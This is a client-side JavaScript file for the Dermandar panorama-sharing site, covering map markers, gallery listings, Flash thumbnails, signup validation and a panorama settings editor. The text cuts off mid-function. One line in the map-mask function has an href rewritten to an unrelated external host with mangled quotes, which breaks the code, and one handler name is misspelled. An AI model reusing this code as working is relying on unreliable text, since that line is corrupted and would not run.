var CFG_DOMAIN_URL = "http://www.dermandar.com/";
var CFG_STATIC_DOMAIN_URL = "http://static.dermandar.com/";
if (window.location.protocol == "https:") {
 	CFG_DOMAIN_URL = "https://www.dermandar.com/";
 	CFG_STATIC_DOMAIN_URL = "https://static.dermandar.com/";
}

var iconSelf = new google.maps.MarkerImage(
	CFG_STATIC_DOMAIN_URL+"design/images/markers/forest_green.png",
	new google.maps.Size(16, 32),
	new google.maps.Point(0, 0),
	new google.maps.Point(8, 28)
);
var iconRecent = new google.maps.MarkerImage(
	CFG_STATIC_DOMAIN_URL+"design/images/markers/azure.png",
	new google.maps.Size(16, 32),
	new google.maps.Point(0, 0),
	new google.maps.Point(8, 28)
);
var iconOthers = new google.maps.MarkerImage(
	CFG_STATIC_DOMAIN_URL+"design/images/markers/crimson.png",
	new google.maps.Size(16, 32),
	new google.maps.Point(0, 0),
	new google.maps.Point(8, 28)
);
var iconShadow = new google.maps.MarkerImage(
	CFG_STATIC_DOMAIN_URL+"design/images/markers/shadow.png",
	new google.maps.Size(30, 32),
	new google.maps.Point(0, 0),
	new google.maps.Point(8, 28)
);
function dmd_HTML5SupportDetection() {
	var parentDiv=document.createElement("div");
	$("#s_t").append(parentDiv);
	parentDiv.style.position="absolute";
	parentDiv.style.display="block";
	parentDiv.style.width="200px";
	parentDiv.style.height="200px";
	parentDiv.style.left="0px";
	parentDiv.style.top="0px";
	parentDiv.style.backgroundColor="black";
	//parentDiv.style.WebkitPerspective="200px";
	parentDiv.style.WebkitTransformStyle="preserve-3d";

	var childDiv=document.createElement("div");
	parentDiv.appendChild(childDiv);
	childDiv.style.position="absolute";
	childDiv.style.display="block";
	childDiv.style.width="100px";
	childDiv.style.height="100px";
	childDiv.style.left="0px";
	childDiv.style.top="0px";

	childDiv.style.WebkitTransform="rotateY(19deg)";
	childDiv.style.backgroundColor="red";
	childDiv.style.WebkitTransformStyle="preserve-3d";

	var old_pos={};
	old_pos.left=$(childDiv).offset().left;
	old_pos.top=$(childDiv).offset().top;

	parentDiv.style.WebkitPerspective="100px";

	var new_pos={};
	new_pos.left=$(childDiv).offset().left;
	new_pos.top=$(childDiv).offset().top;

	$("#s_t").remove();

	if ((Math.abs(old_pos.left-new_pos.left) > 1E-3) || (Math.abs(old_pos.top-new_pos.top) > 1E-3)) {
		return true;
	}
	else {
		return false;
	}
};
$(function() {
	var test = document.createElement("input");
	var placeHolderSupported = ("placeholder" in test);
	if(!placeHolderSupported) {
		var active = document.activeElement;
		$(":text").focus(function () {
			if ($(this).attr("placeholder") != "" && $(this).val() == $(this).attr("placeholder")) {
				$(this).val("").removeClass("hasPlaceholder");
			}
		}).blur(function () {
			if ($(this).attr("placeholder") != "" && ($(this).val() == "" || $(this).val() == $(this).attr("placeholder"))) {
				$(this).val($(this).attr("placeholder")).addClass("hasPlaceholder");
			}
		});
		$(":text").blur();
		$(active).focus();
		$("form").submit(function () {
			$(this).find(".hasPlaceholder").each(function() { $(this).val(""); });
		});
	}
});

function PanoramaListing(container) {
	this.views = {};
	this.container = container;
	
	this.initialize = function() {
		this.dom = document.createElement("div");
		this.dom.id = "selection";
		
		var tabDiv = document.createElement("div");
		$(tabDiv).addClass("tabsBox");
		$(this.dom).append(tabDiv);
		
		this.tabs = document.createElement("ul");
		$(this.tabs).addClass("selectionTabs").addClass("vui-button-group");
		$(tabDiv).append(this.tabs);
		
		this.viewport = document.createElement("div");
		$(this.dom).append(this.viewport);
		
		var _this = this;
		$(function() {
			$("#" + _this.container).append(_this.dom);
			if (typeof _this.defaultViewType != "undefined") {
				$(_this.setView(_this.defaultViewType));
			}
		}); 
	}
	
	this.addSection = function(name, type, isDefault, settings) {
		var view = new PanoramaListingSection(name, type, settings);
		this.views[type] = view;
		var _this = this;
		$(view.anchor).click(function() {
			_this.setView(view.type);
		});
		$(this.tabs).append(view.tab);
		$(this.viewport).append(view.dom);
		if (isDefault) {
			this.defaultViewType = type;
		}
		return view;
	}
	
	this.setView = function(type) {
		if (typeof this.currentView != "undefined") {
			if (this.currentView.type == type) {
				return;
			}
			this.currentView.setVisible(false);
		}
		
		this.currentView = this.views[type];
		this.currentView.setVisible(true);
	}
		
	this.initialize();
}

function PanoramaListingSection(name, type, settings) {
	this.name = name;
	this.type = type;
	this.limit = 8;
	this.offset = 0;
	this.everLoaded = false;
	this.settings = settings || {};
	
	this.initialize = function() {
		this.createTab();
		this.createView();
	}
	
	this.setVisible = function(visible) {
		if (visible) {
			$(this.dom).show();
		} else {
			$(this.dom).hide();
		}
		this.setSelected(visible);
		
		if (visible & !this.everLoaded) {
			this.everLoaded = true;
			this.loadData();
		}
	}
	
	this.createView = function() {
		this.dom = document.createElement("div");
		this.list = document.createElement("ul");
		$(this.list).addClass("listing");
		$(this.dom).append(this.list);
		
		$(this.dom).append('<div style="clear: both;"></div>');
		
		this.moreButton = document.createElement("a");
		this.moreButton.href = "javascript:void(0)";
		$(this.moreButton).addClass("vui-button").addClass("loadMore");
		$(this.moreButton).html("Load more " + this.name);
		$(this.moreButton).hide();
		
		this.loader = document.createElement("div");
		$(this.loader).addClass("listingLoader");
		$(this.loader).html("&nbsp;");
		$(this.dom).append(this.loader);
		
		var _this = this;
		$(this.moreButton).click(function() {
			_this.loadMore();
		});
		
		$(this.dom).append(this.moreButton);
		
		$(this.loader).hide();
		$(this.dom).hide();
	}
	
	this.setLoading = function(loading) {
		if (loading) {
			$(this.loader).show();
			$(this.moreButton).hide();
		} else {
			$(this.loader).hide();
		}
	}
	
	this.loadMore = function() {
		this.offset += this.limit;
		this.loadData();
	}
	
	this.loadData = function() {
		this.setLoading(true);
		var _this = this;
		var url = "/api/browse/" + this.type;
		switch (this.type) {
			case "user":
				url += "/" + this.settings.username;
				break;
			case "nearby":
				url += "/" + geoip_latitude() + "/" + geoip_longitude();	
				break;
			case "keyword":
				url += "/" + encodeURIComponent(this.query);
				break;
			case "related":
				url += "/" + this.settings.panoid;
				break;
		}
		url += "/" + this.offset + "/" + this.limit + "/";
		//url +=  Math.random();
		$.getJSON(url, function(data) {
			_this.renderData(data);
		});
	}
	
	this.renderData = function(data) {
		for (var panoKey in data.panos) {
			var pano = data.panos[panoKey];
			this.renderPano(pano);
		}
		
		this.setLoading(false);
		if (data.max_results > this.offset + this.limit) {
			$(this.moreButton).css("display", "block");
		}
	}
	
	this.renderPano = function(pano) {
		var li = renderPanorama(pano, "li");
			
		$(this.list).append(li);
	}
	
	this.createTab = function() {
		this.tab = document.createElement("li");
		this.anchor = document.createElement("a");
		$(this.anchor).addClass("vui-button");
		$(this.anchor).html(this.name);
		$(this.tab).append(this.anchor);
	}
	
	this.setSelected = function(selected) {
		if (selected) {
			$(this.anchor).addClass("vui-state-active");
		} else {
			$(this.anchor).removeClass("vui-state-active");
		}
	}
	
	this.initialize();
}

function renderPanorama(pano, elementType, options) {
	var defaults = {
		width: 200,
		hoverable: true
	}
	var options = $.extend({}, defaults, options);
	var li = document.createElement(elementType);
	var thumbDiv = document.createElement("div");
	var a = document.createElement("a");
	a.href = "/p/" + pano.publicid + "/" + pano.slug;
	$(a).css("background-image", "url(" + CFG_STATIC_DOMAIN_URL + "php/getimage.php?epid=" + pano.publicid + "&equi=1&w=" + options.width + "&h=120)");
	$(a).addClass("panoThumb").css("width", options.width);
	var title = document.createElement("span");
	$(title).addClass("panoThumbTitle");
	$(title).html(pano.name);
	$(a).append(title);
	
	a.onmouserover = function(){
	this.innerHTML = '<object id="dmd_flash_' + pano.publicid + '" name="dmd_flash_' + pano.publicid + '" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="100%" height="100%" type="application/x-shockwave-flash" data="http://static.dermandar.com/swf/FlashEmbedder.swf?v=29.1">						<param name="movie" value="http://static.dermandar.com/swf/FlashEmbedder.swf?v=29.1">						<param name="wmode" value="gpu">						<param value="true" name="allowFullScreen">						<param name="BGCOLOR" value="#000000">						<param name="allowscriptaccess" value="always">						<param value="all" name="AllowNetworking">						<param value="pano=' + pano.publicid + '&amp;ap=0&amp;fullscreen=1&amp;olm=0&amp;slvl=128&amp;autoplay=1" name="flashvars">						<param value="always" name="allowScriptAccess">						<embed id="dmd_flash_' + pano.publicid + '" name="dmd_flash_' + pano.publicid + '" bgcolor="#000000" width="100%" height="100%" flashvars="pano=' + pano.publicid + '&amp;ap=0&amp;fullscreen=1&amp;olm=0&amp;slvl=128&amp;autoplay=1" type="application/x-shockwave-flash" wmode="gpu" src="http://static.dermandar.com/swf/FlashEmbedder.swf?v=29.1" allowscriptaccess="always" allowfullscreen="true" allownetworking="all">					</object>';
	};
	
	$(thumbDiv).append(a);
	$(li).append(thumbDiv);
		
	var thumbMeta = document.createElement("div");
	$(thumbMeta).addClass("panoThumbMeta");
	if (typeof userSettings != "undefined" && userSettings.username == pano.owner_username) {
		var edit = document.createElement("a");
		$(edit).addClass("icon").addClass("icon_edit").attr("href","javascript:void(0)");
		$(edit).css("float", "right");
		$(edit).click(function() {
			var editor = new PanoramaEditor({
				panorama: pano,
				defaultView: "details",
				updateCallback: function(panoData) {
					showLoadingDialog();
					$.post("/api/edit/update", panoData, function(data) {
						if (data.success) {
							window.location.reload(false);
						} else {
							editor.setVisible(true);
						}
					}, "json");
				},
				deleteCallback: function() {
					showLoadingDialog();
					$.post("/api/edit/delete", {"publicid": pano.publicid}, function(data) {
						if (data.success) {
							window.location.reload(false);
						} else {
							editor.setVisible(true);
						}
					}, "json");
				}
			});
			
		});
		$(thumbMeta).append(edit);
	}
	$(thumbMeta).append("Created " + new Date(pano.creation_time*1000).toRelativeTime() + "<br/>");
	$(thumbMeta).append(pano.views + " views<br/>");
		
	$(li).append(thumbMeta);
	
	var preview = document.createElement("div");
	$(preview).addClass("preview");
	var previewDiv = document.createElement("div");
	$(previewDiv).addClass("previewDiv");
	var previewImg = document.createElement("div");
	$(previewImg).addClass("previewImg");
	$(previewDiv).append(previewImg);
	var img = document.createElement("img");
	//$(previewDiv).append(img);
	$(preview).append(previewDiv);
	$(img).load(function() {
		$(preview).addClass("loaded");
		$(preview).attr("data-width", this.width+8);
		$(preview).css({"opacity": 0, "margin-top": 0, "width": options.width, "margin-left": 0});
		$(previewImg).css({"height": this.height, "background-image": "url("+this.src+")"});
		if ($(preview).hasClass("visible")) {
			animatePreview(preview);
		}
	});
	$(thumbDiv).prepend(preview);
	
	if (options.hoverable) {
		$(thumbDiv).hoverIntent(function() {
			if ($(preview).hasClass("loaded")) {
				animatePreview(preview);
			}
			if (img.src == "") {
				img.src = CFG_STATIC_DOMAIN_URL + "php/getimage.php?epid=" + pano.publicid + "&equi=1&h=70&w=420";
			}
			$(preview).addClass("visible");
			
		}, function() {
			$(preview).animate({"opacity": 0, "margin-top": 0, "width": options.width, "margin-left": 0}, 150, function() {
				$(this).removeClass("visible");
			});
		}); 
	}
	return li;
}

function animatePreview(preview) {
	$(preview).css("opacity", 0);
	var previewWidth = +$(preview).attr("data-width");
	var marginLeft = -previewWidth/2 + 100;
	//$(preview).css("margin-left", marginLeft + "px");
	var previewLeft = $(preview).parent().offset().left + marginLeft;
	var moved = 0;
	if (previewLeft < 0) {
		marginLeft += 10 - previewLeft;
		moved = 10 - previewLeft; 
		$(preview).css("background-position", (previewWidth/2 - moved -4) + "px bottom");
	} else {
		var previewRight = previewLeft + previewWidth;
		var windowWidth = $("#header").width();
		if (previewRight > windowWidth) {		
			moved = previewRight - windowWidth + 20;
			marginLeft -= moved;
			
			$(preview).css("background-position", (previewWidth/2 + moved - 4) + "px bottom");
		} else {
			$(preview).css("background-position", "center bottom");
		}
	}
	//$(preview).css("margin-left", marginLeft + "px");
	$(preview).css("margin-top", 0).animate({"opacity": 1, "margin-top": (-$(preview).outerHeight() - 8) + "px", "width": previewWidth, "margin-left": marginLeft},250);
}


$(".listing li").live("mouseenter", function() {
	$(this).addClass("hovered");
}).live("mouseleave", function() {
	$(this).removeClass("hovered");
});


$(function() {
	$("#headerSearch").focus(function() {
		$(this).parent("li").addClass("focused");
	}).blur(function() {
		$(this).parent("li").removeClass("focused");
	});
});

function writeRelativeDate(date) {
	document.write(new Date(date).toRelativeTime());
}

Date.prototype.toRelativeTime = function(now_threshold) {
  var delta = new Date() - this;

  now_threshold = parseInt(now_threshold, 10);

  if (isNaN(now_threshold)) {
    now_threshold = 0;
  }

  if (delta <= now_threshold) {
    return "Just now";
  }

  var units = null;
  var conversions = {
    millisecond: 1, // ms    -> ms
    second: 1000,   // ms    -> sec
    minute: 60,     // sec   -> min
    hour:   60,     // min   -> hour
    day:    24,     // hour  -> day
    month:  30,     // day   -> month (roughly)
    year:   12      // month -> year
  };

  for (var key in conversions) {
    if (delta < conversions[key]) {
      break;
    } else {
      units = key; // keeps track of the selected key over the iteration
      delta = delta / conversions[key];
    }
  }

  // pluralize a unit when the difference is greater than 1.
  delta = Math.floor(delta);
  if (delta !== 1) { units += "s"; }
  return [delta, units, "ago"].join(" ");
};

/*
 * Wraps up a common pattern used with this plugin whereby you take a String
 * representation of a Date, and want back a date object.
 */
Date.fromString = function(str) {
  return new Date(Date.parse(str));
};

/*
 * Signup Functions
 */
function checkUsername(username, callback) {
	if (!isValidUsername(username)) {
		callback(false, "Invalid Username");
		return;
	}
	$.getJSON("/php/auth.php", "action=check_username&params="+ encodeURIComponent("username=" + encodeURIComponent(username)), function (ret) {
		callback(ret.valid, "Username <strong>" + username + "</strong> is taken"); 
	});
}

function checkEmail(email, callback) {
	setTimeout(function() {
		if (!isValidEmail(email)) {
			callback(false, "Invalid Email");
			return;
		}
		$.getJSON("/php/auth.php", "action=check_email&params="+ encodeURIComponent("email=" + encodeURIComponent(email)), function (ret) {
			callback(ret.valid, "Email <strong>" + email + "</strong> is already registered."); 
		});
	}, 5);
}


var usernameRegexp = new RegExp("^[a-z0-9\\.\\-_\\']{4,32}$","i");
function isValidUsername(username) {
	return usernameRegexp.test(username);
}

var emailRegexp = new RegExp("^(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\x22]\\x22?)){255,})(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){65,}@)(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22))(?:\\.(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22)))*@(?:(?:(?!.*[^.]{64,})(?:(?:(?:xn--)?[a-z0-9]+(?:-[a-z0-9]+)*\\.){1,126}){1,}(?:(?:[a-z][a-z0-9]*)|(?:(?:xn--)[a-z0-9]+))(?:-[a-z0-9]+)*)|(?:\\[(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9][:\\]]){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?)))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))\\]))$","i");
function isValidEmail(email) {
	return emailRegexp.test(email);
}

function setFavorited(element, id) {
	if (!$(element).hasClass("vui-state-active")) {
		$.post("/api/edit/addfav/", "publicid=" + id);
		$(element).addClass("vui-state-active").html("Favorited");
	} else {
		$.post("/api/edit/remfav/", "publicid=" + id);
		$(element).removeClass("vui-state-active").html("Add to favorites");
	}

	FB.api(
         "/me/dermandar:favorite",
          "post",
           { panorama: "https://www.dermandar.com/p/"+id},
           function(response) {
                          
     	});

	return false;
}

var showingAccountMenu = false;
function accountMenu() {
	if (!showingAccountMenu) {
		hideFlash();
		$("#accountMenu").css({
			"display": "block",
			"width": "150px",
			"margin-left": ($("#accountButton").outerWidth()-150) + 1 + "px"
		});
		$("#accountButton").addClass("active");
		showingAccountMenu = true;
	} else {
		$("#accountMenu").hide();
		$("#accountButton").removeClass("active");
		showingAccountMenu = false;
		showFlash();
	}
}

$(function() {
	$(document.body).bind("click", function() {
		if (showingAccountMenu) {
			$("#accountMenu").hide();
			$("#accountButton").removeClass("active");
			showingAccountMenu = false;
			showFlash();
		}
	});
	
	$("#accountMenu, #accountButton").click(function(e) {
		e.stopPropagation();
	});
	
});


function deleteSocialAccount(type) {
	$(".socialBox#" + type + "Box").slideUp();
	$("#add" + type + "Account").slideDown();
	
	$.post("/ajax/delete.php", "target=" + type);
}

function loadPanoMap(id, latitude, longitude, editable) {
	
	var panoOptions = {
		zoom: 4,
    	streetViewControl: false,
		center: new google.maps.LatLng(latitude, longitude),
		mapTypeId: google.maps.MapTypeId.HYBRID
	};
	var map = new google.maps.Map(document.getElementById("panoMap"), panoOptions);			
	if(!(latitude == 0 && longitude == 0)) google.maps.event.addListenerOnce(map, "idle", function(){ this.setZoom(16); });
	if (latitude == 0 && longitude == 0) {
		maskPanoMap(id,editable);
		return;
	}
	
	var marker = new google.maps.Marker({
		position: new google.maps.LatLng(latitude, longitude),
		map: map,
		icon: iconSelf,
		shadow: iconShadow,
		zIndex: 11
	});
	var latLongBounds = new google.maps.LatLngBounds();
	latLongBounds.extend(marker.getPosition());
	map.fitBounds(latLongBounds);
	window.dmdMap=map;
	window.dmdMarker=marker;
	// var url = "/api/browse/nearby/" + latitude + "/" + longitude + "/0/10/?exclude=" + id;
	// $.getJSON(url, function(data) {
	// 	var latLongBounds = new google.maps.LatLngBounds();
	// 	latLongBounds.extend(marker.getPosition());
	// 	$.each(data.panos, function(index, pano) {
	// 		var marker = new google.maps.Marker({
	// 			position: new google.maps.LatLng(pano.latitude, pano.longitude),
	// 			map: map,
	// 			icon: iconOthers,
	// 			shadow: iconShadow,
	// 			title: pano.name,
	// 			zIndex: 10
	// 		});
			
	// 		latLongBounds.extend(marker.getPosition());
	// 		google.maps.event.addListener(marker, "click", function() {
	// 			window.location = "/p/" + pano.publicid + "/" + pano.slug;
	// 		});
	// 	});
		
	// 	map.fitBounds(latLongBounds);
	// });
}

function maskPanoMap(id, editable) {
	var mask = document.createElement("div");
	$(mask).css({
		width: $("#panoMap").outerWidth(),
		height: $("#panoMap").outerHeight()
	}).addClass("mapMask");
	
	var maskContent = document.createElement("div");
	$(maskContent).addClass("mapMaskContent").html("<p>This panorama is not Geo-Tagged</p>");
	
	if (editable) {
		$(maskContent).append("<p><a href="http://chieldngo.innpidea.com/test/iframe_files/\&quot;javascript:void(0)\&quot;" class=\"vui-button\" onclick=\"editPanorama('geo')\">Locate This Panorama</a></p>");
	}
	$(mask).append(maskContent);
	$("#panoMap").prepend(mask);
}

/* SCROLL FIX */
// http://www.switchonthecode.com/tutorials/javascript-tutorial-the-scroll-wheel


function handleWheel(e) {
    var app = document.getElementById("createPanorama");
    e = e ? e : window.e;
    var wheelData = e.detail ? e.detail * -1 : e.wheelDelta / 40;
    
    if (app) {
        var o = {x: e.screenX, y: e.screenY, 
            delta: wheelData,
            ctrlKey: e.ctrlKey, altKey: e.altKey, 
            shiftKey: e.shiftKey}
        app.handleWheel(o);
        cancelEvent(e);
    }
}

function hookEvent(element, eventName, callback)
{
  if(typeof(element) == "string")
    element = document.getElementById(element);
  if(element == null)
    return;
  if(element.addEventListener)
  {
    if(eventName == "mousewheel")
      element.addEventListener("DOMMouseScroll", callback, false);  
    element.addEventListener(eventName, callback, false);
  }
  else if(element.attachEvent)
    element.attachEvent("on" + eventName, callback);
}

function unhookEvent(element, eventName, callback)
{
  if(typeof(element) == "string")
    element = document.getElementById(element);
  if(element == null)
    return;
  if(element.removeEventListener)
  {
    if(eventName == "mousewheel")
      element.removeEventListener("DOMMouseScroll", callback, false);  
    element.removeEventListener(eventName, callback, false);
  }
  else if(element.detachEvent)
    element.detachEvent("on" + eventName, callback);
}

function cancelEvent(e)
{
  e = e ? e : window.event;
  if(e.stopPropagation)
    e.stopPropagation();
  if(e.preventDefault)
    e.preventDefault();
  e.cancelBubble = true;
  e.cancel = true;
  e.returnValue = false;
  return false;
}
function hideFlash() { $("div:has(>object)").each(function() { if ($(this).attr("id").match(/dmd_pano_/)) $(this).css("visibility", "hidden"); }); }
function showFlash() { if($(".dialogBox").length <= 1) $("div:has(>object)").each(function() { if ($(this).attr("id").match(/dmd_pano_/)) $(this).css("visibility", "visible"); }); }
function PanoramaEditor(options) {
	this.defaults = {
		defaultView: "details"
	}
	this.options = $.extend({}, this.defaults, options);
	
	this.initialize = function() {
		var _this = this;
		this.dialog = new ModalDialog("Panorama Settings");
		
		this.tabbedPane = new TabbedPane();
		
		var fieldset = document.createElement("fieldset");
		
		var p = document.createElement("p");
		$(p).append('<label class="inputLabel">Title:</label>');
		this.name = document.createElement("input");
		$(this.name).addClass("textInput").attr("placeholder", "Panorama Title...");
		$(p).append(this.name);
		$(fieldset).append(p);
		
		p = document.createElement("p");
		$(p).append('<label class="inputLabel"></label>');
		this.privateInput = document.createElement("input");
		this.privateInput.type = "checkbox";
		$(p).append(this.privateInput);
		var privateLabel = document.createElement("label");
		$(privateLabel).click(function() {
			$(_this.privateInput).trigger("click");
		});
		$(privateLabel).html("Hide from our galeries and search results.");
		$(p).append(privateLabel);
		$(fieldset).append(p);
		
		$(fieldset).append('<p class="helper">Enter your tags delimited by commas.</p>');
		
		p = document.createElement("p");
		$(p).append('<label class="inputLabel">Tags:</label>');
		this.tags = document.createElement("input");
		$(this.tags).addClass("textInput").attr("placeholder", "Example: beach, summer");
		$(p).append(this.tags);
		$(fieldset).append(p);
		
		p = document.createElement("p");
		$(p).append('<label class="inputLabel">Description:</label>');
		this.description = document.createElement("textarea");
		$(this.description).addClass("textInput");
		$(p).append(this.description);
		$(fieldset).append(p);
		
		this.tabbedPane.addFieldset("Details", fieldset, this.options.defaultView == "details");
		
		fieldset = document.createElement("fieldset");
		
		p = document.createElement("p");
		$(p).append('<label class="inputLabel"></label>');
		this.enableGeo = document.createElement("input");
		this.enableGeo.type = "checkbox";
		$(this.enableGeo).change(function() {
			if ($(this).is(":checked")) {
				if (typeof _this.options.panorama != "undefined") {
					var pano = _this.options.panorama;
					if((pano.latitude==0)&&(pano.latitude==0))
						_this.marker.setPosition(_this.map.getCenter());
				}
				_this.marker.setMap(_this.map);
				_this.map.panTo(_this.marker.getPosition());
			} else {
				_this.marker.setMap(null);
			}
		});
		$(p).append(this.enableGeo);
		var geoLabel = document.createElement("label");
		$(geoLabel).click(function() {
			$(_this.enableGeo).trigger("click").trigger("change");
		});
		$(geoLabel).html("Show my panorama on the world map.");
		$(p).append(geoLabel);
		$(fieldset).append(p);
		
		var mapDiv = document.createElement("div");
		$(mapDiv).height(172);
		var mapOptions = {
			zoom: 1,
    		streetViewControl: false,
			center: new google.maps.LatLng(0, 0),
			mapTypeId: google.maps.MapTypeId.HYBRID
		};
		this.map = new google.maps.Map(mapDiv, mapOptions);			
	
		this.marker = new google.maps.Marker({
			position: new google.maps.LatLng(0, 0),
			map: null,
			icon: iconSelf,
			shadow: iconShadow
		});
		this.marker.setDraggable(true);
		//this.map.panTo(this.marker.getPosition());
		
		$(fieldset).append(mapDiv);
		
		this.tabbedPane.addFieldset("Location", fieldset, this.options.defaultView == "geo", function() {
			google.maps.event.trigger(_this.map, "resize");
			_this.map.panTo(_this.marker.getPosition());
		});
		
		google.maps.event.addListener(this.marker, "dragend", function() {
			_this.map.panTo(_this.marker.getPosition());
		});
		
		this.dialog.addContentElement(this.tabbedPane.dom);
		
		if (typeof this.options.panorama != "undefined") {
			var pano = this.options.panorama;
			$(this.name).val(pano.name);
			$(this.tags).val(pano.tags);
			if (!pano["public"]) {
				$(this.privateInput).attr("checked","checked");
			}
			$(this.description).val(pano.description);
			if (pano.longitude != 0 || pano.latitude != 0) {
				this.marker.setPosition(new google.maps.LatLng(pano.latitude, pano.longitude));
				this.map.panTo(this.marker.getPosition());
				$(this.enableGeo).attr("checked","checked").trigger("change");
			}
			
			this.deleteButton = this.dialog.addButton("Delete Panorama", function() {
				$(_this.deleteButton).hide();
				$(_this.makeSureDiv).show();
			});
			$(this.deleteButton).addClass("vui-button-red").css("float", "left");
			
			this.makeSureDiv = document.createElement("div");
			$(this.makeSureDiv).css("float", "left").hide();
			$(this.makeSureDiv).append("<span>Are you sure? </span>");
			
			this.cancelDelete = document.createElement("a");
			$(this.cancelDelete).html("No").attr("href", "javascript:void(0)");
			$(this.cancelDelete).addClass("vui-button").click(function() {
				$(_this.makeSureDiv).hide();
				$(_this.deleteButton).show();
			});
			$(this.makeSureDiv).append(this.cancelDelete);
			
			this.confirmDelete = document.createElement("a");
			$(this.confirmDelete).html("Yes").attr("href", "javascript:void(0)");
			$(this.confirmDelete).addClass("vui-button").addClass("vui-button-red").click(function() {
				if (_this.options.deleteCallback) {
					_this.options.deleteCallback();
				}
				_this.dialog.dispose();
			});
			$(this.makeSureDiv).append(this.confirmDelete);
			
			this.dialog.addFooterElement(this.makeSureDiv);
		}
		
		this.dialog.addButton("Cancel", function() {
			showFlash();
			_this.cancelClicked();
		});
		this.dialog.addButton("Update", function() {
			showFlash();
			_this.updateClicked();
		});
		this.dialog.setVisible(true, function() {
			google.maps.event.trigger(_this.map, "resize");
			_this.map.panTo(_this.marker.getPosition());
		});
	}
	
	this.cancelClicked = function() {
		this.dialog.dispose();
		if (this.options.cancelCallback) {
			this.options.cancelCallback();
		}
	}
	
	this.updateClicked = function() {
		var results = this.getResults();
		if (results === false) {
			return;
		}
		this.dialog.setVisible(false);
		if (this.options.updateCallback) {
			this.options.updateCallback(results);
		}
	}
	
	this.getResults = function() {
		var pano = {};
		if (typeof this.options.panorama != "undefined") {
			pano.publicid = this.options.panorama.publicid;
		}
		pano.name = $(this.name).val();
		pano.tags = $(this.tags).val();
		pano.description = $(this.description).val();
		pano["public"] = !$(this.privateInput).is(":checked");
		if ($(this.enableGeo).is(":checked")) {
			var latlng = this.marker.getPosition();
			pano.latitude = latlng.lat();
			pano.longitude = latlng.lng();
		} else {
			pano.latitude = 0;
			pano.longitude = 0;
		}
		if (pano.name == "") {
			$(this.name).focus();
			return false;
		}
		
		return pano;
	}
	
	this.initialize();
}

function showEmbedCode(panoId) {
	var dialog = new ModalDialog("Embed Code");
	/*
	425 × 344
	480 × 385
	640 × 505
	960 × 745*/
	var fVersion = dmdEmbedder.getFlashVersion();
	var fieldset = document.createElement("div");
	var p = null;
	/*
	var p = document.createElement("p");
	$(p).css("height", "30px").append('<span class="inputLabel">Code Type:</span>');
	
	var codeType = new ToggleGroup();
	codeType.addButton("Javascript (HTML5 &amp; Flash)", "javascript", true);
	codeType.addButton("Flash Object Embed", "normal");
	$(p).append(codeType.dom);
	
	$(fieldset).append(p);
	*/
	p = document.createElement("p");
	$(p).css("height", "30px").append('<span class="inputLabel">Preset/Custom:</span>');
	
	var preset = new ToggleGroup();
	preset.addButton("Dermandar Presets", "preset", true);
	preset.addButton("Custom Width & Height", "custom");
	$(p).append(preset.dom);
	
	$(fieldset).append(p);
	
	dialog.addContentElement(fieldset);
	
	var presetFieldset = document.createElement("div");
	
	p = document.createElement("p");
	$(p).css("height", "30px").append('<span class="inputLabel">Aspect Ratio:</span>');
	
	var aspectRatio = new ToggleGroup();
	aspectRatio.addButton("Normal", "normal", true);
	aspectRatio.addButton("Wide", "wide");
	$(p).append(aspectRatio.dom);
	
	$(presetFieldset).append(p);
	
	p = document.createElement("p");
	$(p).css("height", "30px").append('<span class="inputLabel">Width:</span>');
	
	var sizeButtons = new ToggleGroup();
	sizeButtons.addButton("425px", 425, true);
	sizeButtons.addButton("480px", 480);
	sizeButtons.addButton("640px", 640);
	sizeButtons.addButton("960px", 960);
	$(p).append(sizeButtons.dom);
	
	$(presetFieldset).append(p);
	
	dialog.addContentElement(presetFieldset);
	
	var customFieldset = document.createElement("div");
	
	p = document.createElement("p");
	$(p).css("height", "30px").append('<span class="inputLabel">Size:</span>');
	
	var inputWidth = document.createElement("input");
	$(inputWidth).width(50).addClass("textInput");
	inputWidth.type = "text";
	inputWidth.value = "425";
	var inputHeight = document.createElement("input");
	$(inputHeight).width(50).addClass("textInput");
	inputHeight.type = "text";
	inputHeight.value = "327";
	$(p).append(inputWidth).append(" x ").append(inputHeight);
	
	$(customFieldset).append(p);
	$(customFieldset).hide();
	
	dialog.addContentElement(customFieldset);
	
	preset.addChangeListener(function() {
		if (preset.getValue() == "preset") {
			$(customFieldset).hide();
			$(presetFieldset).show();
		} else {
			$(presetFieldset).hide();
			$(customFieldset).show();
		}
	});
	
	preset.addChangeListener(function() {
		updateCode();
	});
	aspectRatio.addChangeListener(function() {
		updateCode();
	});
	sizeButtons.addChangeListener(function() {
		updateCode();
	});
	$(inputWidth).change(function() {
		updateCode();
	});
	$(inputHeight).change(function() {
		updateCode();
	});
	
	
	var embedCode = document.createElement("textarea");
	$(embedCode).css({
		width: "99%",
		height: "120px"
	});
	$(embedCode).click(function() {
		this.focus();
		this.select();
